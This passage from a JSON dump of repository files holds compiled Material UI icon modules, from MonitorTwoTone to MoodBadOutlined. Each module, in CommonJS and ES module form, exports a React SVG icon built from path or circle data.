    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h3l-1 1v2h12v-2l-1-1h3c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 13H4V5h16z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 5h16v11H4z\",\n  opacity: \".3\"\n}, \"1\")], 'MonitorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 3H4c-1.1 0-2 .9-2 2v11c0 1.1.9 2 2 2h3l-1 1v2h12v-2l-1-1h3c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 13H4V5h16z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 5h16v11H4z\",\n  opacity: \".3\"\n}, \"1\")], 'MonitorTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorWeight.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 9c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 8.5h1v1h-1zm1.5 0h1v1h-1zm1.5 0h1v1h-1z\"\n}, \"1\")], 'MonitorWeight');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorWeight.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 9c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 8.5h1v1h-1zm1.5 0h1v1h-1zm1.5 0h1v1h-1z\"\n}, \"1\")], 'MonitorWeight');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorWeightOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM12 6c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m-1 3.5h-1v-1h1zm1.5 0h-1v-1h1zm1.5 0h-1v-1h1z\"\n}), 'MonitorWeightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorWeightOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zM12 6c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3m-1 3.5h-1v-1h1zm1.5 0h-1v-1h1zm1.5 0h-1v-1h1z\"\n}), 'MonitorWeightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorWeightRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 9c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"10.5\",\n  cy: \"9\",\n  r: \".5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"13.5\",\n  cy: \"9\",\n  r: \".5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"9\",\n  r: \".5\"\n}, \"3\")], 'MonitorWeightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorWeightRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 9c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"10.5\",\n  cy: \"9\",\n  r: \".5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"13.5\",\n  cy: \"9\",\n  r: \".5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"9\",\n  r: \".5\"\n}, \"3\")], 'MonitorWeightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorWeightSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zm-6.8 8.2c-3.23 2.43-6.84-1.18-4.4-4.41 3.23-2.42 6.83 1.19 4.4 4.41\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 8.5h1v1h-1zm1.5 0h1v1h-1zm1.5 0h1v1h-1z\"\n}, \"1\")], 'MonitorWeightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorWeightSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zm-6.8 8.2c-3.23 2.43-6.84-1.18-4.4-4.41 3.23-2.42 6.83 1.19 4.4 4.41\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 8.5h1v1h-1zm1.5 0h1v1h-1zm1.5 0h1v1h-1z\"\n}, \"1\")], 'MonitorWeightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorWeightTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 8.5h1v1h-1zm-3 0h1v1h-1zm1.5 0h1v1h-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm7-13c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 12c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m1-3.5h1v1h-1zm-1.5 0h1v1h-1zm-1.5 0h1v1h-1z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\")], 'MonitorWeightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonitorWeightTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 8.5h1v1h-1zm-3 0h1v1h-1zm1.5 0h1v1h-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm7-13c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 12c1.66 0 3-1.34 3-3s-1.34-3-3-3-3 1.34-3 3 1.34 3 3 3m1-3.5h1v1h-1zm-1.5 0h1v1h-1zm-1.5 0h1v1h-1z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\")], 'MonitorWeightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonochromePhotos.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5h-3.2L15 3H9L7.2 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 14h-8v-1c-2.8 0-5-2.2-5-5s2.2-5 5-5V7h8zm-3-6c0-2.8-2.2-5-5-5v1.8c1.8 0 3.2 1.4 3.2 3.2s-1.4 3.2-3.2 3.2V18c2.8 0 5-2.2 5-5m-8.2 0c0 1.8 1.4 3.2 3.2 3.2V9.8c-1.8 0-3.2 1.4-3.2 3.2\"\n}), 'MonochromePhotos');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonochromePhotos.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5h-3.2L15 3H9L7.2 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 14h-8v-1c-2.8 0-5-2.2-5-5s2.2-5 5-5V7h8zm-3-6c0-2.8-2.2-5-5-5v1.8c1.8 0 3.2 1.4 3.2 3.2s-1.4 3.2-3.2 3.2V18c2.8 0 5-2.2 5-5m-8.2 0c0 1.8 1.4 3.2 3.2 3.2V9.8c-1.8 0-3.2 1.4-3.2 3.2\"\n}), 'MonochromePhotos');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonochromePhotosOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5h-3.2L15 3H9L7.2 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 14h-8v-1c-2.8 0-5-2.2-5-5s2.2-5 5-5V7h8zm-3-6c0-2.8-2.2-5-5-5v1.8c1.8 0 3.2 1.4 3.2 3.2s-1.4 3.2-3.2 3.2V18c2.8 0 5-2.2 5-5m-8.2 0c0 1.8 1.4 3.2 3.2 3.2V9.8c-1.8 0-3.2 1.4-3.2 3.2\"\n}), 'MonochromePhotosOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonochromePhotosOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5h-3.2L15 3H9L7.2 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 14h-8v-1c-2.8 0-5-2.2-5-5s2.2-5 5-5V7h8zm-3-6c0-2.8-2.2-5-5-5v1.8c1.8 0 3.2 1.4 3.2 3.2s-1.4 3.2-3.2 3.2V18c2.8 0 5-2.2 5-5m-8.2 0c0 1.8 1.4 3.2 3.2 3.2V9.8c-1.8 0-3.2 1.4-3.2 3.2\"\n}), 'MonochromePhotosOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonochromePhotosRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5h-3.2l-1.2-1.34c-.38-.42-.92-.66-1.49-.66H9.89c-.57 0-1.11.24-1.49.66L7.2 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 13c0 .55-.45 1-1 1h-7v-1c-2.8 0-5-2.2-5-5s2.2-5 5-5V7h7c.55 0 1 .45 1 1zm-3-5c0-2.8-2.2-5-5-5v1.8c1.8 0 3.2 1.4 3.2 3.2s-1.4 3.2-3.2 3.2V18c2.8 0 5-2.2 5-5m-8.2 0c0 1.8 1.4 3.2 3.2 3.2V9.8c-1.8 0-3.2 1.4-3.2 3.2\"\n}), 'MonochromePhotosRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonochromePhotosRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5h-3.2l-1.2-1.34c-.38-.42-.92-.66-1.49-.66H9.89c-.57 0-1.11.24-1.49.66L7.2 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2m0 13c0 .55-.45 1-1 1h-7v-1c-2.8 0-5-2.2-5-5s2.2-5 5-5V7h7c.55 0 1 .45 1 1zm-3-5c0-2.8-2.2-5-5-5v1.8c1.8 0 3.2 1.4 3.2 3.2s-1.4 3.2-3.2 3.2V18c2.8 0 5-2.2 5-5m-8.2 0c0 1.8 1.4 3.2 3.2 3.2V9.8c-1.8 0-3.2 1.4-3.2 3.2\"\n}), 'MonochromePhotosRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonochromePhotosSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 5h-5.2L15 3H9L7.2 5H2v16h20zm-2 14h-8v-1c-2.8 0-5-2.2-5-5s2.2-5 5-5V7h8zm-3-6c0-2.8-2.2-5-5-5v1.8c1.8 0 3.2 1.4 3.2 3.2s-1.4 3.2-3.2 3.2V18c2.8 0 5-2.2 5-5m-8.2 0c0 1.8 1.4 3.2 3.2 3.2V9.8c-1.8 0-3.2 1.4-3.2 3.2\"\n}), 'MonochromePhotosSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonochromePhotosSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 5h-5.2L15 3H9L7.2 5H2v16h20zm-2 14h-8v-1c-2.8 0-5-2.2-5-5s2.2-5 5-5V7h8zm-3-6c0-2.8-2.2-5-5-5v1.8c1.8 0 3.2 1.4 3.2 3.2s-1.4 3.2-3.2 3.2V18c2.8 0 5-2.2 5-5m-8.2 0c0 1.8 1.4 3.2 3.2 3.2V9.8c-1.8 0-3.2 1.4-3.2 3.2\"\n}), 'MonochromePhotosSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonochromePhotosTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 18v-1.8c-1.8 0-3.2-1.4-3.2-3.2s1.4-3.2 3.2-3.2V8c-2.8 0-5 2.2-5 5s2.2 5 5 5m5-5c0 2.8-2.2 5-5 5v1h8V7h-8v1c2.8 0 5 2.2 5 5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 21h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2h-3.2L15 3H9L7.2 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2m8-13V7h8v12h-8v-1c-2.8 0-5-2.2-5-5s2.2-5 5-5m3.2 5c0 1.8-1.4 3.2-3.2 3.2V18c2.8 0 5-2.2 5-5s-2.2-5-5-5v1.8c1.8 0 3.2 1.4 3.2 3.2m-6.4 0c0 1.8 1.4 3.2 3.2 3.2V9.8c-1.8 0-3.2 1.4-3.2 3.2\"\n}, \"1\")], 'MonochromePhotosTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MonochromePhotosTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 18v-1.8c-1.8 0-3.2-1.4-3.2-3.2s1.4-3.2 3.2-3.2V8c-2.8 0-5 2.2-5 5s2.2 5 5 5m5-5c0 2.8-2.2 5-5 5v1h8V7h-8v1c2.8 0 5 2.2 5 5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 21h16c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2h-3.2L15 3H9L7.2 5H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2m8-13V7h8v12h-8v-1c-2.8 0-5-2.2-5-5s2.2-5 5-5m3.2 5c0 1.8-1.4 3.2-3.2 3.2V18c2.8 0 5-2.2 5-5s-2.2-5-5-5v1.8c1.8 0 3.2 1.4 3.2 3.2m-6.4 0c0 1.8 1.4 3.2 3.2 3.2V9.8c-1.8 0-3.2 1.4-3.2 3.2\"\n}, \"1\")], 'MonochromePhotosTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Mood.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5 7.67 11 8.5 11m3.5 6.5c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5\"\n}), 'Mood');"
  },
  {
    "path": "packages/mui-icons-material/lib/Mood.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5 7.67 11 8.5 11m3.5 6.5c2.33 0 4.31-1.46 5.11-3.5H6.89c.8 2.04 2.78 3.5 5.11 3.5\"\n}), 'Mood');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoodBad.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5 7.67 11 8.5 11m3.5 3c-2.33 0-4.31 1.46-5.11 3.5h10.22c-.8-2.04-2.78-3.5-5.11-3.5\"\n}), 'MoodBad');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoodBad.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5 7.67 11 8.5 11m3.5 3c-2.33 0-4.31 1.46-5.11 3.5h10.22c-.8-2.04-2.78-3.5-5.11-3.5\"\n}), 'MoodBad');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoodBadOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5 7.67 11 8.5 11m3.5 2.5c-2.33 0-4.31 1.46-5.11 3.5h10.22c-.8-2.04-2.78-3.5-5.11-3.5\"\n}), 'MoodBadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoodBadOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.99 2C6.47 2 2 6.48 2 12s4.47 10 9.99 10C17.52 22 22 17.52 22 12S17.52 2 11.99 2M12 20c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8m3.5-9c.83 0 1.5-.67 1.5-1.5S16.33 8 15.5 8 14 8.67 14 9.5s.67 1.5 1.5 1.5m-7 0c.83 0 1.5-.67 1.5-1.5S9.33 8 8.5 8 7 8.67 7 9.5 7.67 11 8.5 11m3.5 2.5c-2.33 0-4.31 1.46-5.11 3.5h10.22c-.8-2.04-2.78-3.5-5.11-3.5\"\n}), 'MoodBadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MoodBadRounded.js",
